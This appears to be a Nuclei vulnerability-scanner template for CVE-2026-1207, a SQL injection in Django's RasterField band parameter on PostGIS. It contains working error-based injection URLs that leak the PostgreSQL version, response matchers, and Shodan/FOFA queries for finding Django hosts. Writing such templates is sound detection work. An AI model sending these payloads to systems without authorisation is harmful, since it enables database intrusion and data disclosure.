Description
Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.
Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.
id: CVE-2026-1207
info:
name: Django RasterField - SQL Injection
author: omarkurt
severity: high
description: |
Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.
impact: |
Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
remediation: |
Upgrade to versions 6.0.2, 5.2.11, 4.2.28 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-1207
- https://www.djangoproject.com/weblog/2026/feb/03/security-releases/
- https://github.com/django/django/commit/81aa5292967cd09319c45fe2c1a525ce7b6684d8
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 8.1
cve-id: CVE-2026-1207
epss-score: 0.12819
epss-percentile: 0.96197
cwe-id: CWE-89
cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: djangoproject
product: django
shodan-query: 'django'
fofa-query: 'app="Django"'
tags: cve,cve2026,django,sqli,postgis,rasterfield,vuln,unauth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"
- "{{BaseURL}}/api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains_all(body, "invalid input syntax for type integer", "PostgreSQL")'
condition: and
extractors:
- type: regex
name: postgres_version
part: body
group: 1
regex:
- 'PostgreSQL ([0-9]+\.[0-9]+)'
# digest: 4a0a0047304502201d3adda1477b6eb5c4a22c32072d27ac3548cf34bfcf2e7142cf729b5f85a62e022100c40c79defd77bc2b5df36af9107fd6566055acac99c13d75d66edd3def81db11:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.